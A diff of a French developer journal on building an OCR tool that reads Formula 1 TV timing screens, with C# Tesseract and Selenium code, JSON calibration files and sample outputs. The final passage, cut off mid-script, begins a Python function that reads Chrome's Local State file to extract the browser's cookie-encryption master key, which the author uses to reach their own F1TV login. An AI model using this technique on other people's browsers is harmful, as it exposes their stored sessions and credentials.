    -            List<Rectangle> detectedText = new List<Rectangle>();
    -            Zones = new List<Zone>();
    -
    -            TesseractEngine engine = new TesseractEngine(Window.tessDataFolder.FullName, "eng", EngineMode.Default);
    -            Image image = ZoneImage;
    -            var tessImage = Pix.LoadFromMemory(Window.ImageToByte(image));
    -
    -            Page page = engine.Process(tessImage);
    -            using (var iter = page.GetIterator())
    -            { 
    -                iter.Begin();
    -                do
    -                {
    -                    Rect boundingBox;
    -                    if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox))
    -                    {
    -                        //var text = iter.GetText(PageIteratorLevel.Word).ToUpper();
    -                        //We remove all the rectangles that are definitely too big
    -                        if (boundingBox.Height < image.Height / NUMBER_OF_DRIVERS) {
    -                            //Now we add a filter to only get the boxes in the right because they are much more reliable in size
    -                            if (boundingBox.X1 > image.Width / 2)
    -                            {
    -                                //Now we check if an other square box has been found roughly in the same y axis
    -                                bool match = false;
    -                                //The tolerance is roughly half the size that a window will be
    -                                int tolerance = (image.Height / NUMBER_OF_DRIVERS) / 2; 
    -
    -                                foreach (Rectangle rect in detectedText)
    -                                {
    -                                    if (rect.Y > boundingBox.Y1 - tolerance && rect.Y < boundingBox.Y1 + tolerance)
    -                                    {
    -                                        //There already is a rectangle in this line
    -                                        match = true;
    -                                    }
    -                                }
    -                                //if nothing matched we can add it
    -                                if(!match)
    -                                    detectedText.Add(new Rectangle(boundingBox.X1, boundingBox.Y1, boundingBox.Width, boundingBox.Height));
    -                            }
    -                        }  
    -                    }
    -                } while (iter.Next(PageIteratorLevel.Word));
    -            }
    -            foreach (Rectangle Rectangle in detectedText)
    -            {
    -                Rectangle windowRectangle;
    -                Size windowSize = new Size(image.Width, image.Height / NUMBER_OF_DRIVERS);
    -                Point windowLocation = new Point(0, (Rectangle.Y + Rectangle.Height / 2) - windowSize.Height / 2);
    -                windowRectangle = new Rectangle(windowLocation, windowSize);
    -
    -                Zones.Add(new Zone(ZoneImage, windowRectangle));
    -            }
    -        }
    -
    +
    public void AutoCalibrate()
    +        {
    +            List<Rectangle> detectedText = new List<Rectangle>();
    +            Zones = new List<Zone>();
    +
    +            TesseractEngine engine = new TesseractEngine(Window.tessDataFolder.FullName, "eng", EngineMode.Default);
    +            Image image = ZoneImage;
    +            var tessImage = Pix.LoadFromMemory(Window.ImageToByte(image));
    +
    +            Page page = engine.Process(tessImage);
    +            using (var iter = page.GetIterator())
    +            { 
    +                iter.Begin();
    +                do
    +                {
    +                    Rect boundingBox;
    +                    if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox))
    +                    {
    +                        //var text = iter.GetText(PageIteratorLevel.Word).ToUpper();
    +                        //We remove all the rectangles that are definitely too big
    +                        if (boundingBox.Height < image.Height / NUMBER_OF_DRIVERS) {
    +                            //Now we add a filter to only get the boxes in the right because they are much more reliable in size
    +                            if (boundingBox.X1 > image.Width / 2)
    +                            {
    +                                //Now we check if an other square box has been found roughly in the same y axis
    +                                bool match = false;
    +                                //The tolerance is roughly half the size that a window will be
    +                                int tolerance = (image.Height / NUMBER_OF_DRIVERS) / 2; 
    +
    +                                foreach (Rectangle rect in detectedText)
    +                                {
    +                                    if (rect.Y > boundingBox.Y1 - tolerance && rect.Y < boundingBox.Y1 + tolerance)
    +                                    {
    +                                        //There already is a rectangle in this line
    +                                        match = true;
    +                                    }
    +                                }
    +                                //if nothing matched we can add it
    +                                if(!match)
    +                                    detectedText.Add(new Rectangle(boundingBox.X1, boundingBox.Y1, boundingBox.Width, boundingBox.Height));
    +                            }
    +                        }  
    +                    }
    +                } while (iter.Next(PageIteratorLevel.Word));
    +            }
    +            foreach (Rectangle Rectangle in detectedText)
    +            {
    +                Rectangle windowRectangle;
    +                Size windowSize = new Size(image.Width, image.Height / NUMBER_OF_DRIVERS);
    +                Point windowLocation = new Point(0, (Rectangle.Y + Rectangle.Height / 2) - windowSize.Height / 2);
    +                windowRectangle = new Rectangle(windowLocation, windowSize);
    +
    +                Zones.Add(new Zone(ZoneImage, windowRectangle));
    +            }
    +        }
    +

    Ca peut paraitre pas énorme comme code mais pour tout mettre en place ca demande quand même pas mal de reflexion.

    J'ai du clean un peu le code que j'avais fait pour permettre la selection de zones et ajouter la possibilité d'ajouter des windows sur une zone.

    J'ai juste quelques difficultées à les ajouter correctement, j'ai un offset tout pourri qui se met tout le temps

    @@ -1013,36 +1208,36 @@ namespace OCR_tester

    Maintenant je dirais que les deux prochaines choses à faire seraient de stocker ces zones dans un fichier JSON ou autre pour que la calibration puisse être envoyée directement dans le logiciel de reconnaissance et ensuite de faire une calibration sur des images qui font la taille qu'on aura pendant les Grands Prix. Pour le moment elles sont au format 16:10 qui est le format d'écrant de mon laptop.

    Pour le stockage j'imagine un fichier qui donne des indications assez simples qui permettent de reconstruire le total des zones quand il est importé plutot que d'écrire les coordonnées en dur pour chacunes.

    Chaque Grande zone va implémenter une methode qui s'occupe de mettre tous ses enfants dans un fichier.

    -
    {
    -    "MainZone":{
    -        "x": 10,
    -        "y": 20,
    -        "width": 1450,
    -        "height": 1340,
    -        "DriverZone":{
    -            "x": 0,
    -            "y": 23,
    -            "height": 25,
    -            "Windows":[
    -                {
    -                    "DriverPositionWindow":{
    -                        "x": 0,
    -                        "y": 0,
    -                        "width": 35
    -                    }
    -                },
    -                {
    -                    "DriverPositionChangesWindow":{
    -                        "x": 0,
    -                        "y": 0,
    -                        "width":45
    -                    }
    -                }
    -            ]
    -        }
    -    }
    -}
    -
    +
    {
    +    "MainZone":{
    +        "x": 10,
    +        "y": 20,
    +        "width": 1450,
    +        "height": 1340,
    +        "DriverZone":{
    +            "x": 0,
    +            "y": 23,
    +            "height": 25,
    +            "Windows":[
    +                {
    +                    "DriverPositionWindow":{
    +                        "x": 0,
    +                        "y": 0,
    +                        "width": 35
    +                    }
    +                },
    +                {
    +                    "DriverPositionChangesWindow":{
    +                        "x": 0,
    +                        "y": 0,
    +                        "width":45
    +                    }
    +                }
    +            ]
    +        }
    +    }
    +}
    +

    C'est le résultat auquel j'aimerais arriver. Mais pour y arriver il faut encore que je crée les différents types de window.

    Cela veut dire que je dois décider quelles informations je vais récupèrer de la page.

    Par exemple je vais conserver la position du pilote mais au final les changements de positions sont difficiles à lire et sont redondants. Si je garde un historique des positions des pilotes je peux calculer moi même les changements.

    @@ -1058,79 +1253,79 @@ namespace OCR_tester

    Avec un peu de code très moche j'ai pu créer un fichier JSON qui contient les différentes infos. Cependant en exportant TOUT on se retrouve avec un fichier de 1200 lignes ce qui n'est pas optimal.

    Mais quand on regarde, il devrait être possible de faire un fichier qui ne contient que les infos d'un seul pilote car ensuite il y a simplement un offset à appliquer sur la zone et les windows.

    Je vais donc pouvoir commencer enfin le logiciel de décodage qui prend en entrée un fichier JSON comme celui ci qui a été génèré avec le programme de calibration.

    -
    {
    -    "Main": {
    -        "x": 40,
    -        "y": 230,
    -        "width": 1845,
    -        "height": 719,
    -        "Zones": [
    -            {
    -                "DriverZone": {
    -                    "x": 0,
    -                    "y": 3,
    -                    "width": 1845,
    -                    "height": 35,
    -                    "Windows": [
    -                        {
    -                            "Position": {
    -                                "x": 2,
    -                                "y": 0,
    -                                "width": 32
    -                            },
    -                            "GapToLeader": {
    -                                "x": 204,
    -                                "y": 0,
    -                                "width": 96
    -                            },
    -                            "LapTime": {
    -                                "x": 413,
    -                                "y": 0,
    -                                "width": 105
    -                            },
    -                            "Drs": {
    -                                "x": 526,
    -                                "y": 0,
    -                                "width": 81
    -                            },
    -                            etc...
    -                        }
    -                    ]
    -                }
    -            }
    -        ]
    -    }
    -}
    -
    +
    {
    +    "Main": {
    +        "x": 40,
    +        "y": 230,
    +        "width": 1845,
    +        "height": 719,
    +        "Zones": [
    +            {
    +                "DriverZone": {
    +                    "x": 0,
    +                    "y": 3,
    +                    "width": 1845,
    +                    "height": 35,
    +                    "Windows": [
    +                        {
    +                            "Position": {
    +                                "x": 2,
    +                                "y": 0,
    +                                "width": 32
    +                            },
    +                            "GapToLeader": {
    +                                "x": 204,
    +                                "y": 0,
    +                                "width": 96
    +                            },
    +                            "LapTime": {
    +                                "x": 413,
    +                                "y": 0,
    +                                "width": 105
    +                            },
    +                            "Drs": {
    +                                "x": 526,
    +                                "y": 0,
    +                                "width": 81
    +                            },
    +                            etc...
    +                        }
    +                    ]
    +                }
    +            }
    +        ]
    +    }
    +}
    +

    Dans le futur il faudrait ajouter d'autres choses comme par exemple les différents pilotes présents sur le Grand Prix et ce genre d'infos.

    Quoique je vais l'ajouter déja maintenant et plus tard je mettrai en place la feature acessible depuis l'interface. Mais le hardcoder maintenant me permet déja de mieux coder l'autre côté.

    Ce programme n'est en aucun cas terminé et je vais devoir travailler encore un peu dessus pour qu'il soit utilisable correctement mais au moins il fonctionne à peu près.

    Exemple du json avec les noms de pilotes:

    -
    {
    -    "Main": {
    -        "x": 37,
    -        "y": 238,
    -        "width": 1851,
    -        "height": 713,
    -        "Zones": [
    -            {
    -                "DriverZone": {
    -                    "x": 0,
    -                    "y": -5,
    -                    "width": 1851,
    -                    "height": 35
    -                }
    -            }
    -        ]
    -    },
    -    "Drivers": [
    -        "Leclerc",
    -        "Verstappen",
    -        etc...
    -    ]
    -}
    -
    -

    Maintenant je vais m'attaquer au décodage.

    +

    {
    +    "Main": {
    +        "x": 37,
    +        "y": 238,
    +        "width": 1851,
    +        "height": 713,
    +        "Zones": [
    +            {
    +                "DriverZone": {
    +                    "x": 0,
    +                    "y": -5,
    +                    "width": 1851,
    +                    "height": 35
    +                }
    +            }
    +        ]
    +    },
    +    "Drivers": [
    +        "Leclerc",
    +        "Verstappen",
    +        etc...
    +    ]
    +}
    +
    +Maintenant je vais m'attaquer au décodage.

    Demain je dois finir le décodage du JSON et je dois commencer à implémenter la reconnaissance des textes. Voire même des pneus etc si j'y arrive.

    Mercredi 5 Avril

    Bon la il faut vraiment que je finisse assez vite la lecture du JSON et la reconstruction des zones pour commencer la reconnaissance.

    @@ -1171,53 +1366,53 @@ namespace OCR_tester

    En gros on des listes et des listes de listes de zones, c'est la partie un peu plus technique car il y a des zones qui peuvent contenir d'autres zones etc.

    Je vais commencer par la reconnaissance de noms.

    Voici le tableau de pilotes de 2023

    -
    "Drivers": [
    -        "Leclerc",
    -        "Verstappen",
    -        "Hamilton",
    -        "Alonso",
    -        "Russel",
    -        "Gasly",
    -        "Stroll",
    -        "Sainz",
    -        "Hulkenberg",
    -        "Norris",
    -        "Tsunoda",
    -        "Piastri",
    -        "Zhou",
    -        "Ocon",
    -        "Magnussen",
    -        "Perez",
    -        "Sargeant",
    -        "De Vries",
    -        "Bottas",
    -        "Albon"
    -    ]
    -
    +
    "Drivers": [
    +        "Leclerc",
    +        "Verstappen",
    +        "Hamilton",
    +        "Alonso",
    +        "Russel",
    +        "Gasly",
    +        "Stroll",
    +        "Sainz",
    +        "Hulkenberg",
    +        "Norris",
    +        "Tsunoda",
    +        "Piastri",
    +        "Zhou",
    +        "Ocon",
    +        "Magnussen",
    +        "Perez",
    +        "Sargeant",
    +        "De Vries",
    +        "Bottas",
    +        "Albon"
    +    ]
    +

    ET voici le tableau de pilotes de 2022 :

    -
    "Drivers": [
    -        "Leclerc",
    -        "Verstappen",
    -        "Sainz",
    -        "Perez",
    -        "Hamilton",
    -        "Russel",
    -        "Magnussen",
    -        "Gasly",
    -        "Ocon",
    -        "Alonso",
    -        "Tsunoda",
    -        "Bottas",
    -        "Zhou",
    -        "Albon",
    -        "Stroll",
    -        "Schumacher",
    -        "Hulkenberg",
    -        "Norris",
    -        "Latifi",
    -        "Ricciardo"
    -    ]
    -
    +
    "Drivers": [
    +        "Leclerc",
    +        "Verstappen",
    +        "Sainz",
    +        "Perez",
    +        "Hamilton",
    +        "Russel",
    +        "Magnussen",
    +        "Gasly",
    +        "Ocon",
    +        "Alonso",
    +        "Tsunoda",
    +        "Bottas",
    +        "Zhou",
    +        "Albon",
    +        "Stroll",
    +        "Schumacher",
    +        "Hulkenberg",
    +        "Norris",
    +        "Latifi",
    +        "Ricciardo"
    +    ]
    +

    Je les notes ici car J'ai souvent besoin de changer selon le dataset que j'utilise.

    Dans le futur je ferai sûrement un grand dataset qui prend des pilotes de reserves et des pilotes juniors pour que dans le cas ou un pilote est remplacé dans l'année il n'y a pas besoin de tout recalibrer avec l'application.

    Après une discussion avec M.Bonvin j'ai décidé de tester 3 valeurs de convertion en noir et blanc et si je ne trouve pas un match exact je prend le nom le plus proche.

    @@ -1244,29 +1439,29 @@ namespace OCR_tester

    Et on se retrouve avec 1:35:123

    Maintenant après un peu de temps pour nettoyer la string etc on se retrouve avec un résultat comme le suivant :

    -
    Position : 0 
    -Gap to leader : 0:0:0 
    -Lap time : 2:15:123 
    -DRS : False
    -Tyre : Undefined laps with the tyre : 0 
    -Driver name : LECLERC 
    -Sector 1 : 0:31:323 
    -Sector 2 : 0:42:340 
    -Sector 3 : 0:0:0 
    -
    +
    Position : 0 
    +Gap to leader : 0:0:0 
    +Lap time : 2:15:123 
    +DRS : False
    +Tyre : Undefined laps with the tyre : 0 
    +Driver name : LECLERC 
    +Sector 1 : 0:31:323 
    +Sector 2 : 0:42:340 
    +Sector 3 : 0:0:0 
    +

    Evidemment pareil pour les autres pilotes Et je me rend compte que j'ai encore tout cassé car le laptime ne devrait pas être 2:15 mais 1:35...

    Voila après une heure de debugging et des ajouts pour nettoyer les chaines on se retrouve avec :

    -
    Position : 0 
    -Gap to leader : 0:0:0 
    -Lap time : 1:35:123 
    -DRS : False
    -Tyre : Undefined laps with the tyre : 0 
    -Driver name : LECLERC 
    -Sector 1 : 0:31:323 
    -Sector 2 : 0:42:340 
    -Sector 3 : 0:0:0 
    -
    +
    Position : 0 
    +Gap to leader : 0:0:0 
    +Lap time : 1:35:123 
    +DRS : False
    +Tyre : Undefined laps with the tyre : 0 
    +Driver name : LECLERC 
    +Sector 1 : 0:31:323 
    +Sector 2 : 0:42:340 
    +Sector 3 : 0:0:0 
    +

    Note: le traitement commence à devenir long, il serait peut-être intéressant d'utiliser un seul Tesseract Engine ou de voir ce qui prend autant de temps, on dépasse la seconde de traitement ce qui est un peu ma limite.

    Après on peut toujours tester de rajouter du multicore processing mais c'est pour une autre fois.

    Demain je m'occupe de règler les soucis que j'ai avec la prescision de ces temps au tour et j'éspère pouvoir m'occuper aussi de la position des pneus et du DRS. J'aimerais finir tout ca cette semaine.

    @@ -1356,25 +1551,25 @@ Avec la seconde option c'est déja pas mal mieux mais on perd complètement la p

    Et la on a des résultats qui sont vraiment bons.

    J'ai pu ajouter assez facilement la detection de position comme c'est simplement un chiffre.

    On se retrouve maintenant avec ce genre de retours :

    -
    Position : 1 
    -Gap to leader : 8:33:51 
    -Lap time : 2:19:123 
    -DRS : False
    -Tyre : Undefined laps with the tyre : 0 
    -Driver name : LECLERC 
    -Sector 1 : 0:31:828 
    -Sector 2 : 0:42:940 
    -Sector 3 : 0:0:0 
    -Position : 2 
    -Gap to leader : 0:3:259 
    -Lap time : 23:12:392 
    -DRS : False
    -Tyre : Undefined laps with the tyre : 0 
    -Driver name : VERSTAPPEN 
    -Sector 1 : 0:38:119 
    -Sector 2 : 0:0:0 
    -Sector 3 : 0:0:0 
    -
    +
    Position : 1 
    +Gap to leader : 8:33:51 
    +Lap time : 2:19:123 
    +DRS : False
    +Tyre : Undefined laps with the tyre : 0 
    +Driver name : LECLERC 
    +Sector 1 : 0:31:828 
    +Sector 2 : 0:42:940 
    +Sector 3 : 0:0:0 
    +Position : 2 
    +Gap to leader : 0:3:259 
    +Lap time : 23:12:392 
    +DRS : False
    +Tyre : Undefined laps with the tyre : 0 
    +Driver name : VERSTAPPEN 
    +Sector 1 : 0:38:119 
    +Sector 2 : 0:0:0 
    +Sector 3 : 0:0:0 
    +

    Il ne manque plus que l'implémentation de la reconnaissance du DRS et des Pneus

    Et non... je viens de me rendre compte que mon programme a encore cassé car le tap time ne peut pas être 23 min lol.

    J'ai un nouveau magnifique problème... Les points et les deux points sont interprêtés comme des chiffres ... Give me a F** break...

    @@ -1394,25 +1589,25 @@ Sector 3 : 0:0:0

    J'ai réussi à règler le problème des temps au tour, des gaps, et des secteurs. Dans le processus j'ai cassé la detection de position mais ca devrait pas être TROP compliqué.

    Et voila ... Après seulement plus de dix heures de galère, si on donne cette image au programme et le bon JSON le programme nous retourne :

    -
    Position : 1 
    -Gap to leader : 0:05:059 
    -Lap time : 1:39:123 
    -DRS : False
    -Tyre : Undefined laps with the tyre : 0 
    -Driver name : LECLERC 
    -Sector 1 : 0:31:828 
    -Sector 2 : 0:42:940 
    -Sector 3 : 0:00:000 
    -Position : 2 
    -Gap to leader : 0:03:259 
    -Lap time : 1:39:392 
    -DRS : False
    -Tyre : Undefined laps with the tyre : 0 
    -Driver name : VERSTAPPEN 
    -Sector 1 : 0:31:749 
    -Sector 2 : 0:00:000 
    -Sector 3 : 0:00:000 
    -
    +
    Position : 1 
    +Gap to leader : 0:05:059 
    +Lap time : 1:39:123 
    +DRS : False
    +Tyre : Undefined laps with the tyre : 0 
    +Driver name : LECLERC 
    +Sector 1 : 0:31:828 
    +Sector 2 : 0:42:940 
    +Sector 3 : 0:00:000 
    +Position : 2 
    +Gap to leader : 0:03:259 
    +Lap time : 1:39:392 
    +DRS : False
    +Tyre : Undefined laps with the tyre : 0 
    +Driver name : VERSTAPPEN 
    +Sector 1 : 0:31:749 
    +Sector 2 : 0:00:000 
    +Sector 3 : 0:00:000 
    +

    Evidemment le GapToLeader est faux sur leclerc car il est leader mais bon ca je pourrai toujours Hardcoder que le premier a jamais de GapToLeader.

    Bon j'ai eu beaucoup de soucis que je ne vais pas mentionner ici car ce sont simplement des soucis de logique de programmation pour trouver un DRS ouvert ou non.

    Au final la technique que j'utilise et qui marche plutôt bien pour le DRS est que je prend la première image de DRS et je la déclare comme valeur étalon d'un DRS non actif, en effet dans 99% des cas le leader n'a pas de DRS (cela peut arriver alors il faudra donc juste verifier que les pilotes sont bien à moins de deux secondes les uns des autres pour confirmer).

    @@ -1440,31 +1635,31 @@ Je ne peux pas hardocder un endroit ou aller regarder car cela évolue tout le l
    "Color fun"

    Et je crois que j'ai eu une bonne idée, avec une petite methode bien faite on arrive à de supers résultats :

    -
    private Rectangle FindTyreZone()
    -        {
    -            Bitmap bmp = WindowImage;
    -            int currentPosition = bmp.Width;
    -            int height = bmp.Height / 2;
    -            Color limitColor = Color.FromArgb(0x50,0x50,0x50);
    -            Color currentColor = Color.FromArgb(0,0,0);
    -
    -            Size newWindowSize = new Size(bmp.Height,bmp.Height);
    -
    -            while(currentColor.R <= limitColor.R && currentColor.G <= limitColor.G && currentColor.B <= limitColor.B && currentPosition > 0)
    -            {
    -                currentPosition--;
    -                currentColor = bmp.GetPixel(currentPosition,height);
    -            }
    -
    -            //Its here to let the new window include a little bit of the right side
    -            int offset = Convert.ToInt32((float)newWindowSize.Width / 100f * 20f);
    -            int CorrectedX = currentPosition - (newWindowSize.Width - offset);
    -            if (CorrectedX <= 0)
    -                return new Rectangle(0,0,newWindowSize.Width,newWindowSize.Height);
    -
    -            return new Rectangle(CorrectedX,0,newWindowSize.Width,newWindowSize.Height);
    -        }
    -
    +
    private Rectangle FindTyreZone()
    +        {
    +            Bitmap bmp = WindowImage;
    +            int currentPosition = bmp.Width;
    +            int height = bmp.Height / 2;
    +            Color limitColor = Color.FromArgb(0x50,0x50,0x50);
    +            Color currentColor = Color.FromArgb(0,0,0);
    +
    +            Size newWindowSize = new Size(bmp.Height,bmp.Height);
    +
    +            while(currentColor.R <= limitColor.R && currentColor.G <= limitColor.G && currentColor.B <= limitColor.B && currentPosition > 0)
    +            {
    +                currentPosition--;
    +                currentColor = bmp.GetPixel(currentPosition,height);
    +            }
    +
    +            //Its here to let the new window include a little bit of the right side
    +            int offset = Convert.ToInt32((float)newWindowSize.Width / 100f * 20f);
    +            int CorrectedX = currentPosition - (newWindowSize.Width - offset);
    +            if (CorrectedX <= 0)
    +                return new Rectangle(0,0,newWindowSize.Width,newWindowSize.Height);
    +
    +            return new Rectangle(CorrectedX,0,newWindowSize.Width,newWindowSize.Height);
    +        }
    +
    "Tyres"
    @@ -1566,56 +1761,56 @@ Je ne peux pas hardocder un endroit ou aller regarder car cela évolue tout le l

    Je vais m'occuper dabord du loading.

    J'ai essayé d'utiliser un Parrallel.For au moment de la création des windows, le problème c'est que visiblement les objets windows sont beaucoup trops complexes et utilisent trop de ressources partagées pour être vraiment thread Safe. J'éspère que je n'aurais pas trop de soucis avec ca qu'en j'en viendrai à l'optimisation de l'OCR...

    Ce qui me rend fou c'est que cette boucle toute nulle prend plus de dix secondes à s'executer et je ne comprend pas bien pourquoi.

    -
    for (int i = 0; i < NUMBER_OF_DRIVERS; i++)
    -                    {
    -                        Point tmpPos = new Point(0, FirstZonePosition.Y + i * FirstZoneSize.Height - Convert.ToInt32(i * offset) /*- (i* (FirstZoneSize.Height / 32))*/);
    -                        Zone newDriverZone = new Zone(MainZoneImage, new Rectangle(tmpPos, FirstZoneSize));
    -                        Bitmap zoneImg = newDriverZone.ZoneImage;
    -
    -                        newDriverZone.AddWindow(new DriverPositionWindow(zoneImg, new Rectangle(driverPositionPosition, driverPositionArea)));
    -                        newDriverZone.AddWindow(new DriverGapToLeaderWindow(zoneImg, new Rectangle(driverGapToLeaderPosition, driverGapToLeaderArea)));
    -                        newDriverZone.AddWindow(new DriverLapTimeWindow(zoneImg, new Rectangle(driverLapTimePosition, driverLapTimeArea)));
    -                        newDriverZone.AddWindow(new DriverDrsWindow(zoneImg, new Rectangle(driverDrsPosition, driverDrsArea)));
    -                        newDriverZone.AddWindow(new DriverTyresWindow(zoneImg, new Rectangle(driverTyresPosition, driverTyresArea)));
    -                        newDriverZone.AddWindow(new DriverNameWindow(zoneImg, new Rectangle(driverNamePosition, driverNameArea)));
    -                        newDriverZone.AddWindow(new DriverSector1Window(zoneImg, new Rectangle(driverSector1Position, driverSector1Area)));
    -                        newDriverZone.AddWindow(new DriverSector2Window(zoneImg, new Rectangle(driverSector2Position, driverSector2Area)));
    -                        newDriverZone.AddWindow(new DriverSector3Window(zoneImg, new Rectangle(driverSector3Position, driverSector3Area)));
    -
    -                        MainZone.AddZone(newDriverZone);
    -                    }
    -
    +
    for (int i = 0; i < NUMBER_OF_DRIVERS; i++)
    +                    {
    +                        Point tmpPos = new Point(0, FirstZonePosition.Y + i * FirstZoneSize.Height - Convert.ToInt32(i * offset) /*- (i* (FirstZoneSize.Height / 32))*/);
    +                        Zone newDriverZone = new Zone(MainZoneImage, new Rectangle(tmpPos, FirstZoneSize));
    +                        Bitmap zoneImg = newDriverZone.ZoneImage;
    +
    +                        newDriverZone.AddWindow(new DriverPositionWindow(zoneImg, new Rectangle(driverPositionPosition, driverPositionArea)));
    +                        newDriverZone.AddWindow(new DriverGapToLeaderWindow(zoneImg, new Rectangle(driverGapToLeaderPosition, driverGapToLeaderArea)));
    +                        newDriverZone.AddWindow(new DriverLapTimeWindow(zoneImg, new Rectangle(driverLapTimePosition, driverLapTimeArea)));
    +                        newDriverZone.AddWindow(new DriverDrsWindow(zoneImg, new Rectangle(driverDrsPosition, driverDrsArea)));
    +                        newDriverZone.AddWindow(new DriverTyresWindow(zoneImg, new Rectangle(driverTyresPosition, driverTyresArea)));
    +                        newDriverZone.AddWindow(new DriverNameWindow(zoneImg, new Rectangle(driverNamePosition, driverNameArea)));
    +                        newDriverZone.AddWindow(new DriverSector1Window(zoneImg, new Rectangle(driverSector1Position, driverSector1Area)));
    +                        newDriverZone.AddWindow(new DriverSector2Window(zoneImg, new Rectangle(driverSector2Position, driverSector2Area)));
    +                        newDriverZone.AddWindow(new DriverSector3Window(zoneImg, new Rectangle(driverSector3Position, driverSector3Area)));
    +
    +                        MainZone.AddZone(newDriverZone);
    +                    }
    +

    Alors que Zone.AddWindow c'est simplement :

    -
    public virtual void AddWindow(Window window)
    -        {
    -            Windows.Add(window);
    -        }
    -
    +
    public virtual void AddWindow(Window window)
    +        {
    +            Windows.Add(window);
    +        }
    +

    Et windows est simplement une liste. Donc ca ne peut pas être ca qui prend du temps.

    Et les windows que je créé ont ca comme code :

    -
    public DriverPositionWindow(Bitmap image, Rectangle bounds) : base(image, bounds)
    -        {
    -            Name = "Position";
    -        }
    -
    +
    public DriverPositionWindow(Bitmap image, Rectangle bounds) : base(image, bounds)
    +        {
    +            Name = "Position";
    +        }
    +

    Sachant que le constructeur de base d'une Window c'est :

    -
    public Window(Bitmap image, Rectangle bounds)
    -        {
    -            Image = image;
    -            Bounds = bounds;
    -
    -            Engine = new TesseractEngine(TESS_DATA_FOLDER.FullName, "eng", EngineMode.Default);
    -            Engine.DefaultPageSegMode = PageSegMode.SingleLine;
    -        }
    -
    +
    public Window(Bitmap image, Rectangle bounds)
    +        {
    +            Image = image;
    +            Bounds = bounds;
    +
    +            Engine = new TesseractEngine(TESS_DATA_FOLDER.FullName, "eng", EngineMode.Default);
    +            Engine.DefaultPageSegMode = PageSegMode.SingleLine;
    +        }
    +

    Sachant que TesseractEngine est en statique et que donc il ne devrait... OHLLALALALALALALALALA je suis un imbécile...

    J'ai juste à changer ce constructeur avec ca:

    -
    if (Engine == null)
    -            {
    -                Engine = new TesseractEngine(TESS_DATA_FOLDER.FullName, "eng", EngineMode.Default);
    -                Engine.DefaultPageSegMode = PageSegMode.SingleLine;
    -            }
    -
    +
    if (Engine == null)
    +            {
    +                Engine = new TesseractEngine(TESS_DATA_FOLDER.FullName, "eng", EngineMode.Default);
    +                Engine.DefaultPageSegMode = PageSegMode.SingleLine;
    +            }
    +

    ET le loading ne prend plus que 2-300 ms...

    Bon c'est une très belle amélioration pour pas très chèr mais bon c'est un peu bête...

    Bon je pense que 2-300ms c'est une durée correcte surtout que ca n'est appelé qu'une fois pour le lancement. On peut passer à la suite maintenant.

    @@ -1684,12 +1879,12 @@ J'avais fait des croquis au crayon de ce à quoi je pensais, cependant après de

    L'ajout des nombres pour compartimenter le projet ajoute de la structure mais je me demande si cela suffit.

    Maintenant que je suis à peu près content de mon code pour l'OCR je vais commencer sa documentation. (Uniquement son fonctionnement interne pas comment s'en servir car cela va changer)

    Bon j'ai créé u nouveau projet selenium mais même avec les bonnes libraries je n'arrivais pas à faire fonctionner firefox j'avais toujours une erreur "OpenQA.Selenium.WebDriverException: 'Cannot start the driver service on http://localhost:51481/'" et j'ai pu règler le problème en téléchargeant directement le gecko driver depuis le git https://github.com/mozilla/geckodriver/releases et utiliser le fichier directement dans le service :

    -
    var service = FirefoxDriverService.CreateDefaultService(AppDomain.CurrentDomain.BaseDirectory+@"geckodriver-v0.27.0-win32\geckodriver.exe");
    -
    -FirefoxOptions options = new FirefoxOptions();
    -
    -var driver = new FirefoxDriver(service,options);
    -
    +
    var service = FirefoxDriverService.CreateDefaultService(AppDomain.CurrentDomain.BaseDirectory+@"geckodriver-v0.27.0-win32\geckodriver.exe");
    +
    +FirefoxOptions options = new FirefoxOptions();
    +
    +var driver = new FirefoxDriver(service,options);
    +

    Le seul problème c'est que du coup il faut tout le temps déplacer le fichier dans le dossier bin si je clone le projet. Il faudra faire un installeur dans la version finale qui s'occupe de tout je pense.

    Je me suis dit que j'allais garder la doc pour le retour des vacances quand j'aurai un bureau un clavier et un setup complet un peu propres.

    Bon il va falloir que je parle de la récupération de cookie. @@ -1730,17 +1925,17 @@ Seuls soucis :

    Pour ce faire j'utilise Selenium. J'ai pu tester Puppetteer Sharp et même si dans un premier temps j'ai pu avancer asez vite, malheureusement il y a des bugs qui rendent son utilisation impossible dans notre contexte.

    J'ai donc décidé de tout faire en utilisant un portage de Selenium dans mon programme.

    Voici un exemple de code qui va ouvrir FireFox et qui va lancer un RickRoll

    -
    var service = FirefoxDriverService.CreateDefaultService(AppDomain.CurrentDomain.BaseDirectory+@"geckodriver-v0.27.0-win32\geckodriver.exe");
    -            service.Host = "127.0.0.1";
    -            service.Port = 5555;
    -
    -            FirefoxOptions options = new FirefoxOptions();
    -            options.AddArgument("--disable-headless");
    -
    -            var driver = new FirefoxDriver(service,options);
    -
    -            driver.Navigate().GoToUrl("https://www.youtube.com/watch?v=dQw4w9WgXcQ&autoplay=1&mute=1");
    -
    +
    var service = FirefoxDriverService.CreateDefaultService(AppDomain.CurrentDomain.BaseDirectory+@"geckodriver-v0.27.0-win32\geckodriver.exe");
    +            service.Host = "127.0.0.1";
    +            service.Port = 5555;
    +
    +            FirefoxOptions options = new FirefoxOptions();
    +            options.AddArgument("--disable-headless");
    +
    +            var driver = new FirefoxDriver(service,options);
    +
    +            driver.Navigate().GoToUrl("https://www.youtube.com/watch?v=dQw4w9WgXcQ&autoplay=1&mute=1");
    +

    Dans cet exemple on désactive le "Headless" pour qu'on puisse voir ce que fait l'app car sinon tout est invisible. Alors dans les faits la vidéo youtube ne se lance pas du tout car il y a des pubs et des prompts de cookies que l'on doit accepter etc... ce qui montre les différents challenges que l'on va devoir surmonter pour vraiment faire ce que l'on veut.

    Mais un petit détail extrêmement important, la F1TV est un programme payant un peu comme netflix. Ce qui veut dire que pour accèder au contenu il faut être connecté. Sauf que une instance de firefox créé par Selenium est comme une page de naviguation privée, ce qui veut dire que si on va sur la page de la F1TV on est pas connectés.

    @@ -1761,75 +1956,75 @@ Alors dans les faits la vidéo youtube ne se lance pas du tout car il y a des pu
  • Il existe beaucoup plus de documentation en Python pour ce qui est de la cryptographie et donc si Chrome change de fonctionnement il sera beaucoup plus simple de changer cette partie en particulier sans avoir à recompiler le code C#.
  • J'ai donc avec l'aide d'internet et de ChatGPT créé ce script :

    -
    def get_master_key():
    -    with open(
    -        os.getenv("localappdata") + "\\Google\\Chrome\\User Data\\Local State", "r"
    -    ) as f:
    -        local_state = f.read()
    -        local_state = json.loads(local_state)
